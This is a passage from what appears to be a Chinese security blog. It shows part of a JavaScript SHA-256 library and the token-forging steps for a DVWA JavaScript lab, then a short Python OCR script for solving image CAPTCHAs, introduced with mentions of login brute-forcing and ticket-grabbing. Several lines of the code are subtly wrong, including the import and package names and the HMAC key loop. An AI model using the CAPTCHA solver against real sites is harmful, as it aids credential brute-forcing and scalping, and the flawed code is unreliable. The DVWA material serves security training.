            blocks[j] = blocks[j - 16] + s0 + blocks[j - 7] + s1 << 0
        }
        bc = b & c;
        for (j = 0; j < 64; j += 4) {
            if (this.first) {
                if (this.is224) {
                    ab = 300032;
                    t1 = blocks[0] - 1413257819;
                    h = t1 - 150054599 << 0;
                    d = t1 + 24177077 << 0
                } else {
                    ab = 704751109;
                    t1 = blocks[0] - 210244248;
                    h = t1 - 1521486534 << 0;
                    d = t1 + 143694565 << 0
                }
                this.first = false
            } else {
                s0 = ((a >>> 2) | (a << 30)) ^ ((a >>> 13) | (a << 19)) ^ ((a >>> 22) | (a << 10));
                s1 = ((e >>> 6) | (e << 26)) ^ ((e >>> 11) | (e << 21)) ^ ((e >>> 25) | (e << 7));
                ab = a & b;
                maj = ab ^ (a & c) ^ bc;
                ch = (e & f) ^ (~e & g);
                t1 = h + s1 + ch + K[j] + blocks[j];
                t2 = s0 + maj;
                h = d + t1 << 0;
                d = t1 + t2 << 0
            }
            s0 = ((d >>> 2) | (d << 30)) ^ ((d >>> 13) | (d << 19)) ^ ((d >>> 22) | (d << 10));
            s1 = ((h >>> 6) | (h << 26)) ^ ((h >>> 11) | (h << 21)) ^ ((h >>> 25) | (h << 7));
            da = d & a;
            maj = da ^ (d & b) ^ ab;
            ch = (h & e) ^ (~h & f);
            t1 = g + s1 + ch + K[j + 1] + blocks[j + 1];
            t2 = s0 + maj;
            g = c + t1 << 0;
            c = t1 + t2 << 0;
            s0 = ((c >>> 2) | (c << 30)) ^ ((c >>> 13) | (c << 19)) ^ ((c >>> 22) | (c << 10));
            s1 = ((g >>> 6) | (g << 26)) ^ ((g >>> 11) | (g << 21)) ^ ((g >>> 25) | (g << 7));
            cd = c & d;
            maj = cd ^ (c & a) ^ da;
            ch = (g & h) ^ (~g & e);
            t1 = f + s1 + ch + K[j + 2] + blocks[j + 2];
            t2 = s0 + maj;
            f = b + t1 << 0;
            b = t1 + t2 << 0;
            s0 = ((b >>> 2) | (b << 30)) ^ ((b >>> 13) | (b << 19)) ^ ((b >>> 22) | (b << 10));
            s1 = ((f >>> 6) | (f << 26)) ^ ((f >>> 11) | (f << 21)) ^ ((f >>> 25) | (f << 7));
            bc = b & c;
            maj = bc ^ (b & d) ^ cd;
            ch = (f & g) ^ (~f & h);
            t1 = e + s1 + ch + K[j + 3] + blocks[j + 3];
            t2 = s0 + maj;
            e = a + t1 << 0;
            a = t1 + t2 << 0
        }
        this.h0 = this.h0 + a << 0;
        this.h1 = this.h1 + b << 0;
        this.h2 = this.h2 + c << 0;
        this.h3 = this.h3 + d << 0;
        this.h4 = this.h4 + e << 0;
        this.h5 = this.h5 + f << 0;
        this.h6 = this.h6 + g << 0;
        this.h7 = this.h7 + h << 0
    };
    Sha256.prototype.hex = function() {
        this.finalize();
        var h0 = this.h0,
            h1 = this.h1,
            h2 = this.h2,
            h3 = this.h3,
            h4 = this.h4,
            h5 = this.h5,
            h6 = this.h6,
            h7 = this.h7;
        var hex = HEX_CHARS[(h0 >> 28) & 0x0F] + HEX_CHARS[(h0 >> 24) & 0x0F] + HEX_CHARS[(h0 >> 20) & 0x0F] + HEX_CHARS[(h0 >> 16) & 0x0F] + HEX_CHARS[(h0 >> 12) & 0x0F] + HEX_CHARS[(h0 >> 8) & 0x0F] + HEX_CHARS[(h0 >> 4) & 0x0F] + HEX_CHARS[h0 & 0x0F] + HEX_CHARS[(h1 >> 28) & 0x0F] + HEX_CHARS[(h1 >> 24) & 0x0F] + HEX_CHARS[(h1 >> 20) & 0x0F] + HEX_CHARS[(h1 >> 16) & 0x0F] + HEX_CHARS[(h1 >> 12) & 0x0F] + HEX_CHARS[(h1 >> 8) & 0x0F] + HEX_CHARS[(h1 >> 4) & 0x0F] + HEX_CHARS[h1 & 0x0F] + HEX_CHARS[(h2 >> 28) & 0x0F] + HEX_CHARS[(h2 >> 24) & 0x0F] + HEX_CHARS[(h2 >> 20) & 0x0F] + HEX_CHARS[(h2 >> 16) & 0x0F] + HEX_CHARS[(h2 >> 12) & 0x0F] + HEX_CHARS[(h2 >> 8) & 0x0F] + HEX_CHARS[(h2 >> 4) & 0x0F] + HEX_CHARS[h2 & 0x0F] + HEX_CHARS[(h3 >> 28) & 0x0F] + HEX_CHARS[(h3 >> 24) & 0x0F] + HEX_CHARS[(h3 >> 20) & 0x0F] + HEX_CHARS[(h3 >> 16) & 0x0F] + HEX_CHARS[(h3 >> 12) & 0x0F] + HEX_CHARS[(h3 >> 8) & 0x0F] + HEX_CHARS[(h3 >> 4) & 0x0F] + HEX_CHARS[h3 & 0x0F] + HEX_CHARS[(h4 >> 28) & 0x0F] + HEX_CHARS[(h4 >> 24) & 0x0F] + HEX_CHARS[(h4 >> 20) & 0x0F] + HEX_CHARS[(h4 >> 16) & 0x0F] + HEX_CHARS[(h4 >> 12) & 0x0F] + HEX_CHARS[(h4 >> 8) & 0x0F] + HEX_CHARS[(h4 >> 4) & 0x0F] + HEX_CHARS[h4 & 0x0F] + HEX_CHARS[(h5 >> 28) & 0x0F] + HEX_CHARS[(h5 >> 24) & 0x0F] + HEX_CHARS[(h5 >> 20) & 0x0F] + HEX_CHARS[(h5 >> 16) & 0x0F] + HEX_CHARS[(h5 >> 12) & 0x0F] + HEX_CHARS[(h5 >> 8) & 0x0F] + HEX_CHARS[(h5 >> 4) & 0x0F] + HEX_CHARS[h5 & 0x0F] + HEX_CHARS[(h6 >> 28) & 0x0F] + HEX_CHARS[(h6 >> 24) & 0x0F] + HEX_CHARS[(h6 >> 20) & 0x0F] + HEX_CHARS[(h6 >> 16) & 0x0F] + HEX_CHARS[(h6 >> 12) & 0x0F] + HEX_CHARS[(h6 >> 8) & 0x0F] + HEX_CHARS[(h6 >> 4) & 0x0F] + HEX_CHARS[h6 & 0x0F];
        if (!this.is224) {
            hex += HEX_CHARS[(h7 >> 28) & 0x0F] + HEX_CHARS[(h7 >> 24) & 0x0F] + HEX_CHARS[(h7 >> 20) & 0x0F] + HEX_CHARS[(h7 >> 16) & 0x0F] + HEX_CHARS[(h7 >> 12) & 0x0F] + HEX_CHARS[(h7 >> 8) & 0x0F] + HEX_CHARS[(h7 >> 4) & 0x0F] + HEX_CHARS[h7 & 0x0F]
        }
        return hex
    };
    Sha256.prototype.toString = Sha256.prototype.hex;
    Sha256.prototype.digest = function() {
        this.finalize();
        var h0 = this.h0,
            h1 = this.h1,
            h2 = this.h2,
            h3 = this.h3,
            h4 = this.h4,
            h5 = this.h5,
            h6 = this.h6,
            h7 = this.h7;
        var arr = [(h0 >> 24) & 0xFF, (h0 >> 16) & 0xFF, (h0 >> 8) & 0xFF, h0 & 0xFF, (h1 >> 24) & 0xFF, (h1 >> 16) & 0xFF, (h1 >> 8) & 0xFF, h1 & 0xFF, (h2 >> 24) & 0xFF, (h2 >> 16) & 0xFF, (h2 >> 8) & 0xFF, h2 & 0xFF, (h3 >> 24) & 0xFF, (h3 >> 16) & 0xFF, (h3 >> 8) & 0xFF, h3 & 0xFF, (h4 >> 24) & 0xFF, (h4 >> 16) & 0xFF, (h4 >> 8) & 0xFF, h4 & 0xFF, (h5 >> 24) & 0xFF, (h5 >> 16) & 0xFF, (h5 >> 8) & 0xFF, h5 & 0xFF, (h6 >> 24) & 0xFF, (h6 >> 16) & 0xFF, (h6 >> 8) & 0xFF, h6 & 0xFF];
        if (!this.is224) {
            arr.push((h7 >> 24) & 0xFF, (h7 >> 16) & 0xFF, (h7 >> 8) & 0xFF, h7 & 0xFF)
        }
        return arr
    };
    Sha256.prototype.array = Sha256.prototype.digest;
    Sha256.prototype.arrayBuffer = function() {
        this.finalize();
        var buffer = new ArrayBuffer(this.is224 ? 28 : 32);
        var dataView = new DataView(buffer);
        dataView.setUint32(0, this.h0);
        dataView.setUint32(4, this.h1);
        dataView.setUint32(8, this.h2);
        dataView.setUint32(12, this.h3);
        dataView.setUint32(16, this.h4);
        dataView.setUint32(20, this.h5);
        dataView.setUint32(24, this.h6);
        if (!this.is224) {
            dataView.setUint32(28, this.h7)
        }
        return buffer
    };

    function HmacSha256(key, is224, sharedMemory) {
        var i, type = typeof key;
        if (type === 'string') {
            var bytes = [],
                length = key.length,
                index = 0,
                code;
            for (i = 0; i < length; ++i) {
                code = key.charCodeAt(i);
                if (code < 0x80) {
                    bytes[index++] = code
                } else if (code < 0x800) {
                    bytes[index++] = (0xc0 | (code >> 6));
                    bytes[index++] = (0x80 | (code & 0x3f))
                } else if (code < 0xd800 || code >= 0xe000) {
                    bytes[index++] = (0xe0 | (code >> 12));
                    bytes[index++] = (0x80 | ((code >> 6) & 0x3f));
                    bytes[index++] = (0x80 | (code & 0x3f))
                } else {
                    code = 0x10000 + (((code & 0x3ff) << 10) | (key.charCodeAt(++i) & 0x3ff));
                    bytes[index++] = (0xf0 | (code >> 18));
                    bytes[index++] = (0x80 | ((code >> 12) & 0x3f));
                    bytes[index++] = (0x80 | ((code >> 6) & 0x3f));
                    bytes[index++] = (0x80 | (code & 0x3f))
                }
            }
            key = bytes
        } else {
            if (type === 'object') {
                if (key === null) {
                    throw new Error(ERROR)
                } else if (ARRAY_BUFFER && key.constructor === ArrayBuffer) {
                    key = new Uint8Array(key)
                } else if (!Array.isArray(key)) {
                    if (!ARRAY_BUFFER || !ArrayBuffer.isView(key)) {
                        throw new Error(ERROR)
                    }
                }
            } else {
                throw new Error(ERROR)
            }
        }
        if (key.length > 64) {
            key = (new Sha256(is224, true)).update(key).array()
        }
        var oKeyPad = [],
            iKeyPad = [];
        for (i = 0; i < 64; ++i) {
            var b = key || 0;
            oKeyPad = 0x5c ^ b;
            iKeyPad = 0x36 ^ b
        }
        Sha256.call(this, is224, sharedMemory);
        this.update(iKeyPad);
        this.oKeyPad = oKeyPad;
        this.inner = true;
        this.sharedMemory = sharedMemory
    }
    HmacSha256.prototype = new Sha256();
    HmacSha256.prototype.finalize = function() {
        Sha256.prototype.finalize.call(this);
        if (this.inner) {
            this.inner = false;
            var innerHash = this.array();
            Sha256.call(this, this.is224, this.sharedMemory);
            this.update(this.oKeyPad);
            this.update(innerHash);
            Sha256.prototype.finalize.call(this)
        }
    };
    var exports = createMethod();
    exports.sha256 = exports;
    exports.sha224 = createMethod(true);
    exports.sha256.hmac = createHmacMethod();
    exports.sha224.hmac = createHmacMethod(true);
    if (COMMON_JS) {
        module.exports = exports
    } else {
        root.sha256 = exports.sha256;
        root.sha224 = exports.sha224;
        if (AMD) {
            define(function() {
                return exports
            })
        }
    }
})();

function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}
function token_part_3(t, y = "ZZ") {
    document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
    document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
    document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
    token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

我等凡人看见这个头大,直接搬了大佬总结下来的
生成token的步骤:

  • 执行token_part_1(“ABCD”,44)
  • 执行token_part_2(“XX”)(有300s的延迟)
  • 执行token_part_3
    然后控制台把token搞进去就ok了

最后

Dvwa真的香!!!

天下苦验证码久矣,后台爆破,抢票抢课,世人无不捶胸顿足 --《沃兹基硕得》

准备环节

对于python来说,实现这些功能是一件特别简单的事情,这完全得益于数量庞大且功能强大的第三方库
安装所需要的库

pip install pytesserac
pip install PIL(Python3里面为pillow)

说实话,这样的验证码不是很有用的,因为现在都是各种滑块了,基本大网站都已经淘汰了这种验证码了

开始写

先将模块导入

from pillow import Image
import pytesseract

下一步我们要打开图片

ImageFile = input("Pleas input the filename:")
IMG = Image.open(ImageFile)
print (pytesseract.image_to_string(IMG))

写到这里,基本功能就已经实现了,对于这种简单的脚本来说,python是不二之选
我们还要考虑报错问题,比如路径输入的错误,图片不存在等等,所以简单加一个try块和一个usage()

def usage():
    print("Falied!Please check the ImageFile")
try:
    ImageFile = input("Pleas input the filename:")
    IMG = Image.open(ImageFile) 
except:
    usage()

完整程序

from pillow import Image
import pytesseract
def usage():
    print("Falied!Please check the ImageFile")
try:
    ImageFile = input("Pleas input the filename:")
    IMG = Image.open(ImageFile) 
except:
    usage()       
print (pytesseract.image_to_string(IMG))

十行代码,你i了吗?